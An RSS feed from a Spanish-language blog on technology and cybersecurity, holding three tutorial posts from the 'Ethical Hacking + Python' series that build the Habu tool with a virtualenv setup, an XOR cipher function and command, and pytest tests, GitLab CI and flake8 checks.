<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Fabian Martinez Portantier]]></title><description><![CDATA[Tecnología y ciberseguridad]]></description><link>https://www.portantier.com</link><image><url>https://substackcdn.com/image/fetch/$s_!hG4p!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe91a5f5f-e02d-473a-85b4-a9b1d61a3bd8_302x302.jpeg</url><title>Fabian Martinez Portantier</title><link>https://www.portantier.com</link></image><generator>Substack</generator><lastBuildDate>Wed, 15 Apr 2026 20:06:24 GMT</lastBuildDate><atom:link href="https://www.portantier.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Fabian Martinez Portantier]]></copyright><language><![CDATA[es]]></language><webMaster><![CDATA[fportantier@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[fportantier@substack.com]]></itunes:email><itunes:name><![CDATA[Fabian Martinez Portantier]]></itunes:name></itunes:owner><itunes:author><![CDATA[Fabian Martinez Portantier]]></itunes:author><googleplay:owner><![CDATA[fportantier@substack.com]]></googleplay:owner><googleplay:email><![CDATA[fportantier@substack.com]]></googleplay:email><googleplay:author><![CDATA[Fabian Martinez Portantier]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Ethical Hacking + Python III - Tests]]></title><description><![CDATA[Vamos a mejorar la calidad de nuestro c&#243;digo e implementar pruebas unitarias en Habu https://github.com/fportantier/habu]]></description><link>https://www.portantier.com/p/ethical-hacking-python-iii-tests</link><guid isPermaLink="false">https://www.portantier.com/p/ethical-hacking-python-iii-tests</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Mon, 07 Nov 2016 19:59:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c70c7a77-b9e3-416b-ae92-9844007c79f2_728x380.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Vamos a mejorar la calidad de nuestro c&#243;digo e implementar pruebas unitarias en Habu <a href="https://github.com/fportantier/habu">https://github.com/fportantier/habu</a></p><h2>Introducci&#243;n</h2><p>Tarde o temprano, el c&#243;digo que escribimos va a dejar de funcionar.</p><p>Por modificar algo en una librer&#237;a, por no contemplar una determinada dependencia o por mil otras razones diferentes.</p><p>Sabiendo que va a fallar, tenemos que intentar manejar esos fallos de la mejor manera posible.</p><p>Eso lo logramos a trav&#233;s de dos cosas:</p><ol><li><p>Pruebas unitarias</p></li><li><p>Integraci&#243;n cont&#237;nua</p></li></ol><p>Adem&#225;s, tenemos que pensar que nuestro c&#243;digo tiene que ser mantenido, ya sea por nosotros o por alguna otra persona, por lo tanto, tenemos que volver ese c&#243;digo f&#225;cil de leer y entender.</p><p>Eso lo logramos siguiendo las mejores pr&#225;cticas para la escritura de c&#243;digo.</p><p>En este art&#237;culo vamos a resolver esos tres puntos.</p><h2>Pruebas Unitarias</h2><p>Las pruebas unitarias apuntan a verificar que las porciones de nuestro c&#243;digo (por ejemplo, funciones de una librer&#237;a) funcionan como deber&#237;an.</p><p>Dichas pruebas tambi&#233;n van a ser escritas en c&#243;digo Python, y van a ser simples funciones que verifican los resultados devueltos por las funciones que queremos probar.</p><p>Python, en su librer&#237;a est&#225;ndar, ya cuenta con el m&#243;dulo unittest, pero nosotros vamos a utilizar el m&#243;dulo PyTest, que es m&#225;s f&#225;cil de utilizar y ofrece salidas m&#225;s completas y claras.</p><pre><code>pip install pytest
</code></pre><p>A continuaci&#243;n, vamos a crear el directorio 'tests' dentro del directorio principal de nuestro proyecto.</p><p>Y vamos a escribir algunos tests sencillos para nuestra librer&#237;a xor.</p><p>Estos tests los vamos a poner en un archivo llamado 'test_xor.py'.</p><p>El hecho de que el nombre del archivo empiece con 'test' y est&#233; dentro del directorio 'tests', le permite a PyTest encontrar las pruebas y ejecutarlas de una forma sencilla.</p><p>El contenido del archivo 'test_xor.py' va a ser el siguiente:</p><pre><code>from habu.lib.xor import xor

def test_xor():
    text = b'text to encrypt'
    encrypted = xor(text)
    assert text == xor(encrypted)


def test_xor_w_key():
    text = b'text to encrypt'
    key = b'secret'
    encrypted = xor(text, key)
    assert text == xor(encrypted, key)
</code></pre><p>Como podemos ver, tenemos dos funciones, las dos muy parecidas.</p><p>La primera, 'test_xor()', xorea el texto de la variable 'text' y luego verifica que al volver a xorearlo, se obtenga el texto original.</p><p>La funci&#243;n 'asset' nos permite verificar una condici&#243;n y hacer que el &#233;xito o el fracaso del test dependa de ella.</p><p>En este caso, estamos verificando que 'text' sea igual al resultado de 'xor(encrypted)'.</p><p>La segunda, 'test_xor_w_key()', hace lo mismo que la primera, pero utiliza el par&#225;metro que define la clave con la cual vamos a xorear.</p><p>Si guardamos el archivo y ejecutamos el comando 'pytest -v' (el par&#225;metro '-v', como es habitual, habilita el modo verbose, para que obtengamos m&#225;s datos acerca de la ejecuci&#243;n de pytest):</p><pre><code>$ pytest 
=================== test session starts =============================
platform linux -- Python 3.5.2, pytest-3.0.3, py-1.4.31, pluggy-0.4.0
rootdir: /home/f/p/habu, inifile: pytest.ini
collected 2 items

test_xor.py::test_xor PASSED
test_xor.py::test_xor_w_key PASSED

=============== 2 passed in 0.02 seconds ============================
</code></pre><p>Como podemos ver, los tests pasaron ('PASSED').</p><p>Si modificamos la funci&#243;n 'test_xor()' y la cambiamos por:</p><pre><code>def test_xor():
    text = b'text to encrypt'
    encrypted = xor(text)
    assert text != xor(encrypted)
</code></pre><p>Vamos a generar que la prueba falle (cambiamos el == por un !=), es decir, la prueba espera que text sea diferente al resultado de xor(encrypted).</p><pre><code>====================== test session starts ====================================
platform linux -- Python 3.5.2, pytest-3.0.3, py-1.4.31, pluggy-0.4.0
cachedir: ../.cache
rootdir: /home/f/p/habu, inifile: pytest.ini
collected 2 items

test_xor.py::test_xor FAILED
test_xor.py::test_xor_w_key PASSED

=========================== FAILURES ==========================================
___________________________ test_xor __________________________________________

    def test_xor():
        text = b'text to encrypt'
        encrypted = xor(text)
&gt;       assert text != xor(encrypted)
E       assert b'text to encrypt' != b'text to encrypt'
E        +  where b'text to encrypt' = xor(b'DUHD\x10D_\x10U^SBI@D')

test_xor.py:8: AssertionError
============== 1 failed, 1 passed in 0.04 seconds =============================
</code></pre><p>Claramente, PyTest nos est&#225; explicando qu&#233; fue lo que fall&#243;.</p><p>Deber&#237;amos escribir pruebas para todas las funciones, o por lo menos, para las que consideremos m&#225;s importantes.</p><p>Esto tambi&#233;n nos fuerza a escribir funciones peque&#241;as, que hagan cosas claras.</p><p>Es muy dif&#237;cil crear tests para funciones complejas.</p><p><strong>Nota:</strong> En los ejemplos, podemos ver que los tests que acabo de escribir no son perfectos. Un simple caso de error ser&#237;a el caso en el que la funci&#243;n xor() no est&#233; haciendo absolutamente nada, y devolviera los valores sin modificar. En ese caso, las pruebas ser&#237;an exitosas. Eso podr&#237;amos arreglarlo mejorando las pruebas, o creando otras pruebas adicionales, que verifiquen puntualmente el hecho de que el resultado de 'xor()' sea el esperado.</p><h2>Integraci&#243;n Cont&#237;nua</h2><p>Con la integraci&#243;n cont&#237;nua hacemos que nuestros tests sean ejecutados en uno o varios ambientes, para verificar que no funcionan &#250;nicamente en nuestras PC.</p><p>(Es muy habitual que las cosas funcionen solo en la m&#225;quina del desarrollador, y esto es un claro signo de que algo anda mal)</p><p>Como Habu es un proyecto hosteado en GitLab, podemos utilizar directamente su soluci&#243;n de integraci&#243;n cont&#237;nua de forma gratuita.</p><p>(Para los que hosteen sus repositorios en GitHub, pueden utilizar Travis<br></p><p>https://travis-ci.org/</p><p>).</p><p>Para que GitLab sepa que queremos utilizar su CI, debemos generar un archivo llamado '.gitlab-ci.yml' en el directorio ra&#237;z de nuestro repositorio.</p><p>En el caso de Habu, el archivo contiene lo siguiente:</p><pre><code>test:
  script:
  - apt-get update -qy
  - apt-get install -y python3-dev python3-pip
  - pip3 install virtualenv
  - virtualenv --python=/usr/bin/python3 venv
  - venv/bin/pip install -r requirements.txt
  - venv/bin/pip install -r dev-requirements.txt
  - venv/bin/pip install -e .
  - venv/bin/python setup.py pytest
</code></pre><p>Como podemos ver, son simplemente los comandos que debemos ejecutar para obtener un entorno en el cual se pueda instalar Habu y ejecutar sus tests.</p><p>Cada vez que hagamos un nuevo commit del c&#243;digo, veremos el resultado de los tests en la interfaz web de GitLab.</p><p><strong>NOTA:</strong> Si tienen dudas sobre el funcionamiento de GitLab-CI, pueden visitar el siguiente link: <a href="https://docs.gitlab.com/ce/ci/quick_start/README.html">https://docs.gitlab.com/ce/ci/quick_start/README.html</a>.</p><p>Otro de los cambios que debemos hacer para que esto funcione, es agregar las dependencias de PyTest y PyTest-Runner (este &#250;ltimo ayuda a que sea m&#225;s f&#225;cil ejecutar de forma autom&#225;tica PyTest).</p><p>Para esto, editamos el archivo 'setup.py', y lo configuramos de la siguiente forma:</p><pre><code>with open('README.rst') as f:
    readme = f.read()

setup(
    name='habu',
    version='0.0.10',
    description='Ethical Hacking Utils',
    long_description=readme,
    author='Fabian Martinez Portantier',
    author_email='fportantier@securetia.com',
    url='https://gitlab.com/securetia/habu',
    license='GNU General Public License v3 (GPLv3)',
    install_requires=[
        'Click',
        'Requests',
    ],
    tests_require=[
        'pytest',
        'pytest-runner',
    ],
    packages=['habu'],
    include_package_data=True,
    entry_points='''
        [console_scripts]
        habu.ip=habu.cli.cmd_ip:cmd_ip
        habu.xor=habu.cli.cmd_xor:cmd_xor
    ''',
    classifiers=[
        "Environment :: Console",
        "Intended Audience :: Developers",
        "Intended Audience :: Information Technology",
        "Intended Audience :: System Administrators",
        "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
        "Topic :: Security",
        "Topic :: System :: Networking",
        "Programming Language :: Python :: 3.0",
        "Programming Language :: Python :: 3.6",
    ],
    keywords=['security'],
    zip_safe=False,
    test_suite='py.test',
)
</code></pre><p>Las partes importates para lo que vimos hasta ahora son:</p><ol><li><p>tests_require: Define qu&#233; paquetes son necesarios para ejecutar los tests</p></li><li><p>test_suite: Define cu&#225;l es el comando a ejecutar para correr los tests</p></li></ol><h2>Calidad de C&#243;digo</h2><p>Python cuenta con varias mejores pr&#225;cticas a la hora de escribir c&#243;digo. La mayor&#237;a de las cuales est&#225;n detalladas en el documento PEP8 <a href="https://www.python.org/dev/peps/pep-0008/">https://www.python.org/dev/peps/pep-0008/</a>.</p><p>Para verificar que nuestro c&#243;digo cumple con dichas mejores pr&#225;cticas, y validar algunas otras que no est&#225;n definidas en PEP8, podemos utilizar el m&#243;dulo 'flake8', que re&#250;ne varias pruebas y las pone a disposici&#243;n a trav&#233;s del comando 'flake8'.</p><pre><code>$ pip install flake8
</code></pre><p>Ahora, si ejecutamos 'flake8', podremos ver algo como lo siguiente:</p><pre><code>$ flake8 
./habu/lib/xor.py:2:1: F401 'datetime.datetime' imported but unused
./habu/lib/xor.py:4:1: E302 expected 2 blank lines, found 1
./habu/lib/xor.py:9:26: E203 whitespace before ':'
./habu/lib/xor.py:11:14: E225 missing whitespace around operator
./habu/lib/xor.py:14:1: W391 blank line at end of file
</code></pre><p>Veremos varios problemas que agregu&#233; a prop&#243;sito para demostrar el funcionamiento de flake8, y no est&#225;n en el repositorio de c&#243;digo.</p><p>M&#225;s all&#225; de cuestiones de estilo, como el hecho de dejar o no espacios entre operadores, podemos ver que nos est&#225; alertando sobre la importaci&#243;n de un m&#243;dulo que no ha sido utilizado (datetime).</p><p>Corregir todas estas alertas puede ser tedioso, pero hace que nuestro c&#243;digo sea mucho m&#225;s legible y aceptable por toda la comunidad Python.</p><p>En el caso de que flake8 no envie ninguna salida por pantalla, quiere decir que no ha encontrado ning&#250;n error.</p><h2>Conclusi&#243;n</h2><p>Hemos visto varias formas de mejorar nuestro c&#243;digo, y detectar las fallas que pudieran introducir nuestras modificaciones lo antes posible.</p><h2>En los pr&#243;ximos art&#237;culos</h2><p>Vamos a agregar nuevas funcionalidades a Habu, m&#225;s relacionadas con el Ethical Hacking (perd&#243;n, pero hablar de la calidad del c&#243;digo era necesario antes de seguir escribiendo nuevas funcionalidades).</p>]]></content:encoded></item><item><title><![CDATA[Ethical Hacking + Python II - XOR]]></title><description><![CDATA[Vamos a analizar c&#243;mo implementar el cifrado XOR en Python, para extender las funcionalidades del proyecto Habu https://github.com/fportantier/habu.]]></description><link>https://www.portantier.com/p/ethical-hacking-python-ii-xor</link><guid isPermaLink="false">https://www.portantier.com/p/ethical-hacking-python-ii-xor</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Mon, 24 Oct 2016 19:58:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8ae8340e-1352-4900-83b7-55e62eab5728_728x380.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Vamos a analizar c&#243;mo implementar el cifrado XOR en Python, para extender las funcionalidades del proyecto Habu <a href="https://github.com/fportantier/habu">https://github.com/fportantier/habu</a>.</p><h2>Introducci&#243;n</h2><p>Como bien lo explica la Wikipedia, 'XOR' puede referirse a varias cosas (todas ellas muy relacionadas entre s&#237;):</p><ul><li><p>La puerta XOR, en electr&#243;nica.</p></li><li><p>El operador XOR, en l&#243;gica, matem&#225;ticas y programaci&#243;n.</p></li><li><p>El cifrado XOR</p></li></ul><p>El 'o exclusivo' (eXclusive OR) es un operador l&#243;gico simbolizado como XOR, EOR, EXOR, &#8891;, o &#8853; es un tipo de disyunci&#243;n l&#243;gica de dos operandos.</p><p><strong>Nota</strong>: El operador XOR en python es ^</p><p>Una disyunci&#243;n solamente es verdadera cuando ambas partes tienen valores diferentes de verdad, es decir, cuando una u otra es verdadero. No en el caso de que ambos sean verdaderos o ambos sean falsos.</p><p>Por eso, siempre que hagamos un XOR de un valor consigo mismo vamos a obtener falso (A ^ A = False)</p><p>Observemos los siguientes ejemplos:</p><ul><li><p>True ^ True = False</p></li><li><p>True ^ False = True</p></li><li><p>False ^ True = True</p></li><li><p>False ^ False = False</p></li></ul><p>Lo mismo, pero en python:</p><pre><code>$ python
Python 3.5.2 (default, Jun 28 2016, 08:46:01) 
[GCC 6.1.1 20160602] on linux
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; True ^ True
False
&gt;&gt;&gt; True ^ False
True
&gt;&gt;&gt; False ^ True
True
&gt;&gt;&gt; False ^ False
False
</code></pre><p><strong>NOTA</strong>: Aqu&#237; estamos utilizando Python en modo interactivo. A partir de ahora, los ejemplos en modo interactivo van a estar marcados por el prompt "&gt;&gt;&gt;" y voy a omitir todos los dem&#225;s mensajes de versi&#243;n y ayuda para hacer el c&#243;digo m&#225;s breve.</p><h2>Aplicaciones de XOR</h2><p>XOR tiene una propiedad que la hace ser muy importante para el uso en la criptograf&#237;a:</p><blockquote><p>"La doble aplicaci&#243;n de XOR resulta en la identidad"</p></blockquote><p>Esto quiere decir que si aplicamos la funci&#243;n XOR a un valor, y luego se la volvemos a aplicar, obtenemos el valor original, lo podemos explicar as&#237;:</p><pre><code>(A ^ B) ^ B = A
</code></pre><p>En Python:</p><pre><code>&gt;&gt;&gt; (True ^ True) ^ True
True
&gt;&gt;&gt; (True ^ False) ^ False
True
&gt;&gt;&gt; (False ^ True) ^ True
False
&gt;&gt;&gt; (False ^ False) ^ False
False
</code></pre><p>Viendo esto, podemos determinar que, si tenemos una secuencia de valores True o False, que vamos a llamar "A", y otra secuencia de valores que vamos a llamar "B", y a "A" le aplicamos XOR utilizando B, obtenemos una tercer secuencia de valores, que llamaremos "C". Si a "C" le aplicamos XOR con "B", volvemos a obtener "A".</p><p>&#191;Qu&#233; es lo importante de esto? <strong>Acabamos de cifrar los datos.</strong></p><p>Con una funci&#243;n tan b&#225;sica como XOR, y una clave, podemos empezar a cifrar datos.</p><p>Siempre debemos recordar que todos los datos, en las computadoras, terminan siendo representados por un 0 o por un 1.</p><p>(Muchas veces vamos a ver el mapeo de True = 1, False = 0)</p><h2>Creando la Funci&#243;n XOR</h2><p>Vamos a desarrollar, paso a paso, la funci&#243;n XOR que luego vamos a implementar como un comando de Habu.</p><p>Para eso, primero vamos a introducir la funci&#243;n <strong>os.urandom()</strong>, que sirve para solicitar una n cantidad de datos aleatorios a nuestro sistema operativo. <a href="https://docs.python.org/3/library/os.html#os.urandom">https://docs.python.org/3/library/os.html#os.urandom</a></p><pre><code>&gt;&gt;&gt; import os
&gt;&gt;&gt; A = os.urandom(8)
&gt;&gt;&gt; for x in A:
...     print(x)
... 
216
122
245
149
246
94
189
27
</code></pre><p>En el c&#243;digo anterior asignamos a 'A' 8 bytes aleatorios. Luego recorremos los 8 bytes y mostramos cada uno con la funci&#243;n 'print'.</p><p>Cada byte aleatorio va a tener un valor entre 0 y 255, porque un byte son 8 bits, y con 8 bits podemos representar valores desde el 0 al 255.</p><p><strong>NOTA</strong>: Como a continuaci&#243;n vamos a utilizar una funci&#243;n llamada 'zip()', primero vamos a explicar para qu&#233; sirve.</p><blockquote><p>La funci&#243;n zip permite agregar varios iterables, devolviendo un iterable de tuplas, en los que cada elemento <em>i</em> de la tupla se corresponde con los elementos <em>i</em> de cada uno de los iterables que se pasaron como par&#225;metro.</p></blockquote><p>Un ejemplo:</p><pre><code>&gt;&gt;&gt; A = ['pera', 'manzana', 'limon']
&gt;&gt;&gt; B = ['verde', 'roja', 'amarillo']
&gt;&gt;&gt;
&gt;&gt;&gt; list(zip(A,B))
[('pera', 'verde'), ('manzana', 'roja'), ('limon', 'amarillo')]
</code></pre><p>Como detalle, tenemos que marcar que estoy convirtiendo el resultado de zip a una lista, para poder mostrarlo m&#225;s facilmente con la funci&#243;n print.</p><p>Ahora vamos a hacer el ejercicio de trabajar con los valores A, B y C. Teniendo el valor A, lo vamos a XORear con B, para obtener C. Al valor C, lo vamos a XORear con B, y obtendremos el valor A.</p><pre><code>&gt;&gt;&gt; import os
&gt;&gt;&gt; 
&gt;&gt;&gt; A = os.urandom(8)
&gt;&gt;&gt; B = os.urandom(8)
&gt;&gt;&gt; 
&gt;&gt;&gt; list(A)
[151, 82, 79, 150, 128, 52, 105, 103]
&gt;&gt;&gt; 
&gt;&gt;&gt; list(B)
[166, 90, 35, 99, 7, 42, 171, 28]
&gt;&gt;&gt; 
&gt;&gt;&gt; C = bytes([ a^b for a,b in zip(A,B) ])
&gt;&gt;&gt; 
&gt;&gt;&gt; list(C)
[49, 8, 108, 245, 135, 30, 194, 123]
&gt;&gt;&gt; 
&gt;&gt;&gt; D = bytes([ c^b for c,b in zip(C,B) ])
&gt;&gt;&gt; 
&gt;&gt;&gt; list(D)
[151, 82, 79, 150, 128, 52, 105, 103]
&gt;&gt;&gt;
&gt;&gt;&gt; A == D
True
</code></pre><p>Acabamos de hacer muchas cosas en pocas l&#237;neas, que ahora vamos a pasar a explicar...</p><p>Primero, creamos las variables A y B, con 8 bytes aleatorios cada uno.</p><pre><code>&gt;&gt;&gt; A = os.urandom(8)
&gt;&gt;&gt; B = os.urandom(8)
</code></pre><p>Mostramos los valores de A y B, convirti&#233;ndolos en listas con la funci&#243;n list().</p><pre><code>&gt;&gt;&gt; list(A)
[151, 82, 79, 150, 128, 52, 105, 103]
&gt;&gt;&gt; 
&gt;&gt;&gt; list(B)
[166, 90, 35, 99, 7, 42, 171, 28]
</code></pre><p>Creamos C, que se calcula de la siguiente forma:</p><p>Con zip(), generamos un iterador con un tupla para cada elemento de A,B. Por ejemplo, la primer tupla generada va a ser (151, 166).</p><p>Para cada tupla de ese iterador, asignamos los valores en 'a' y 'b', es decir, en la primera iteraci&#243;n sobre el iterador, el valor de 'a' = 151 y el de 'b' = 166.</p><p>Aplicamos la funci&#243;n XOR sobre los valores de 'a' y 'b' (a^b).</p><p>Generamos una lista con todos los valores obtenidos de las iteraciones.</p><p>Esa lista, la convertimos al tipo de dato 'bytes', para que tenga el mismo tipo de dato que A y B, con el prop&#243;sito de poder comprarlos m&#225;s adelante.</p><pre><code>&gt;&gt;&gt; C = bytes([ a^b for a,b in zip(A,B) ])
</code></pre><p>Con 'list(C)' lo que hicimos fue mostrar por pantalla una representaci&#243;n de C en formato de lista, porque si mostramos el dato en bytes, se va a ver algo as&#237;:</p><pre><code>b'1\x08l\xf5\x87\x1e\xc2{'
</code></pre><p>Llegado a este punto, ya obtuvimos el resultado de XORear A con B, y lo almacenamos en la variable C.</p><p>Ahora, vamos a repetir el proceso, XOReando C y B, y almacenando el resultado en la variable D.</p><pre><code>&gt;&gt;&gt; D = bytes([ c^b for c,b in zip(C,B) ])
</code></pre><p>Anteriormente dijimos que: (A ^ B) ^ B = A</p><p>Entonces, si XOReamos C con B, deber&#237;amos obtener el valor de A.</p><p>Con 'A == D', verificamos que A y D tengan el mismo valor y, como podemos ver, el resultado de la comparaci&#243;n fue True, por lo que, efectivamente, obtuvimos en D el valor de A.</p><pre><code>&gt;&gt;&gt; A == D
True
</code></pre><blockquote><p>Acabamos de cifrar el valor de A con la clave B, para obtener C. Luego desciframos C con la clave B, y volvimos a obtener el valor de A.</p></blockquote><h2>Datos y Claves de Diferente Longitud</h2><p>En el ejemplo anterior, A y B ten&#237;an la misma longitud (8 bytes) y eso le permit&#237;a a la funci&#243;n zip() generar un iterable con 8 tuplas (una por cada byte).</p><p>Hay un detalle, y es que, si la funci&#243;n zip() encuentra que los dos o m&#225;s iterables que se le pasan como par&#225;metro, tienen distinta longitud, va a devolver un iterable del tama&#241;o del menor de los iterables que se le pas&#243; como par&#225;metro.</p><p>(Si A tuviera 8 bytes y B tuviera 10 bytes, el resultado de zip va a ser un iterable de 8 tuplas, y los &#250;ltimos 2 bytes de B van a ser descartados)</p><p>Cada vez que ciframos datos, es muy habitual que la clave de cifrado sea de menor longitud que los datos que estamos cifrando (salvo que estemos usando un One Time Pad, pero eso va a ser para un pr&#243;ximo art&#237;culo).</p><p>Para resolver este problema, podemos utilizar la funci&#243;n cycle(), del m&#243;dulo itertools, que nos permite recorrer un iterable y, una vez que sea han terminado los elementos, empezar a recorrerlo nuevamente todas las veces que sea necesario.</p><p>Solamente tenemos que hacer unos pocos cambios en el c&#243;digo: (voy a poner unicamente el c&#243;digo modificado)</p><pre><code>&gt;&gt;&gt; from itertools import cycle
&gt;&gt;&gt;
&gt;&gt;&gt; C = bytes([ a^b for a,b in zip(A,cycle(B)) ])
</code></pre><p><strong>NOTA</strong>: Si bien no es habitual, en el caso de que B tenga mayor longitud que A, no debemos preocuparnos, porque vamos a poder XORear sin problemas. Si intentamos utilizar cycle() tanto para A como para B, el programa va a empezar a consumir toda la memoria de nuestro sistema, porque nunca va a saber donde encontrar un fin.</p><h2>Implementaci&#243;n Final</h2><p>A continuaci&#243;n muestro el c&#243;digo final de la implementaci&#243;n de la funci&#243;n xor(), tal como est&#225; en el repositorio de habu:</p><pre><code>def xor(a, b='0'.encode()):
    return bytes([ a^b for a,b in zip(a,cycle(b)) ])
</code></pre><p>El &#250;nico cambio que se hizo es el de definir un valor por defecto a la funci&#243;n xor().</p><p>En el caso de que no sea pase un segundo valor (la clave), el XOReado se va a realizar con '0', lo cual no representa un nivel de seguridad, pero permite realizar el proceso, el cual muchas veces es utilizado para ofuscar datos.</p><p>Y a continuaci&#243;n podemos ver el c&#243;digo del comando habu.xor:</p><pre><code>import click
from habu.lib.xor import xor

@click.command()
@click.option('-k', default='0', help='Encryption key')
@click.option('-i', type=click.File('rb'), required=True, help='Input file')
@click.option('-o', type=click.File('wb'), required=True, help='Output file')
def cmd_xor(k, i, o):
    """XOR cipher"""
    o.write(xor(i.read(), k.encode()))


if __name__ == '__main__':
    cmd_xor()
</code></pre><p>Como podemos ver, click hace un gran trabajo con el manejo de par&#225;metros, y se encarga autom&#225;ticamente de abrir y cerrar los archivos que se pasan por par&#225;metro.</p><h2>Conclusi&#243;n</h2><p>En este art&#237;culo vimos una implementaci&#243;n de XOR en Python y c&#243;mo implementar un comando utilizando el paquete 'Click' que permite utilizar archivos como par&#225;metro.</p><h2>En los pr&#243;ximos art&#237;culos</h2><p>Vamos a ver c&#243;mo podemos mejorar la calidad de nuestro c&#243;digo, siguiendo las mejores pr&#225;cticas e implementando pruebas unitarias, para verificar que nuestro c&#243;digo verdaderamente funciona como lo esperamos.</p>]]></content:encoded></item><item><title><![CDATA[Ethical Hacking + Python I - Introducción]]></title><description><![CDATA[En esta serie de art&#237;culos vamos a hablar sobre algunas t&#233;cnicas de hacking que podemos facilitar, utilizando el lenguaje de programaci&#243;n Python.]]></description><link>https://www.portantier.com/p/ethical-hacking-python-i-introduccion</link><guid isPermaLink="false">https://www.portantier.com/p/ethical-hacking-python-i-introduccion</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Wed, 19 Oct 2016 19:57:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/8926f296-0682-47e5-b196-47e7a4db2a24_728x380.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En esta serie de art&#237;culos vamos a hablar sobre algunas t&#233;cnicas de hacking que podemos facilitar, utilizando el lenguaje de programaci&#243;n Python.</p><h2>Introducci&#243;n</h2><p>En Securetia, al momento de realizar Penetration Tests lo hacemos de forma "artesanal", es decir, que no nos limitamos a ejecutar herramientas automatizadas (como OpenVAS), si no que tambi&#233;n realizamos un an&#225;lisis manual, con herramientas particulares de acuerdo a cada situaci&#243;n.</p><p>Esto nos ha llevado a desarrollar algunas herramientas y scripts para cada caso particular.</p><p>Voy a aprovechar estos art&#237;culos para unificar estos peque&#241;os programas en una herramienta un poco m&#225;s organizada y documentada. Adem&#225;s de ser c&#243;digo abierto y hostearla en gitlab.</p><p>Como va a estar escrita con esp&#237;ritu pedag&#243;gico, la herramienta va a ser desarrollada poco a poco, empezando por conceptos b&#225;sicos e ir&#225; implementando funcionalidades m&#225;s avanzadas a medida que pasen los art&#237;culos.</p><h2>Software Necesario</h2><p>Para trabajar en este proyecto, necesitamos lo siguiente:</p><ul><li><p>Python 3.x</p></li><li><p>Git</p></li></ul><h2>Virtualenv</h2><p>En Python se suelen utilizar entornos virtuales para aislar los paquetes instalados que son necesarios para cada proyecto en el que trabajamos o utilizamos. Esto nos va a beneficiar much&#237;simo al momento de evitar colisiones entre distintas versiones de los paquetes.</p><p>Para gestionar los entornos virtuales vamos a utilizar virtualenvwrapper, el cual podemos instalar a trav&#233;s de pip:</p><pre><code>$ sudo pip install virtualenvwrapper
</code></pre><p>Una vez instalado, vamos a poder crear un nuevo entorno virtual:</p><pre><code>$ mkvirtualenv habu
Using base prefix '/usr'
New python executable in /home/fabian/.python-envs/habu/bin/python3
Not overwriting existing python script /home/fabian/.python-envs/habu/bin/python (you must use /home/fabian/.python-envs/habu/bin/python3)
Installing setuptools, pip, wheel...done.
(habu)$
</code></pre><p>(No es necesario que el entorno virtual se llame de ninguna forma en particular, pero ponerle el mismo nombre del proyecto en el que estamos trabajando, ayuda a simplificar las cosas)</p><p>Como habremos notado, nuestro prompt ahora incluye el nombre del entorno virtual en el que estamos trabajando.</p><p>Esto ha cambiado (entre otras cosas) cu&#225;l es nuestro int&#233;rprete de python por defecto:</p><pre><code>$ which python
/home/fabian/.python-envs/habu/bin/python
</code></pre><p>Cada vez que instalemos un paquete estando dentro del entorno virtual, el mismo se va a instalar &#250;nicamente para ese entorno virtual.</p><p>Podemos utilizar 'deactivate' para desactivar el entorno virtual, y 'workon' para entrar en el entorno virtual:</p><pre><code>(habu)$ which python
/home/fabian/.python-envs/habu/bin/python
(habu)$ deactivate 
$ which python
/usr/bin/python
$ workon habu
(habu)$ which python
/home/fabian/.python-envs/habu/bin/python
</code></pre><h2>Estructura del Proyecto</h2><p>Vamos a intentar mantener esto lo m&#225;s sencillo posible, con el objetivo de hacerlo amigable a los que no est&#233;n tan familiarizados con Python. As&#237; que la estructura no va a tener grandes cosas.</p><p>El repositorio de c&#243;digo est&#225; hosteado en <a href="https://github.com/portantier.com/habu">https://github.com/portantier/habu</a>.</p><p>Para traernos el proyecto:</p><pre><code>$ git clone https://gitlab.com/securetia/habu
Cloning into 'habu'...
remote: Counting objects: 5, done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (5/5), done.
</code></pre><p>Ahora tenemos el directorio habu, con una estructura similar a la siguiente:</p><pre><code>&#9500;&#9472;&#9472; dev-requirements.txt
&#9500;&#9472;&#9472; docs
&#9500;&#9472;&#9472; habu
&#9474;   &#9500;&#9472;&#9472; cli
&#9474;   &#9474;   &#9500;&#9472;&#9472; __init__.py
&#9474;   &#9474;   &#9492;&#9472;&#9472; cmd_ip.py
&#9474;   &#9500;&#9472;&#9472; __init__.py
&#9474;   &#9492;&#9472;&#9472; lib
&#9474;       &#9492;&#9472;&#9472; ip.py
&#9500;&#9472;&#9472; LICENSE
&#9500;&#9472;&#9472; README.md
&#9500;&#9472;&#9472; setup.py
&#9492;&#9472;&#9472; tests
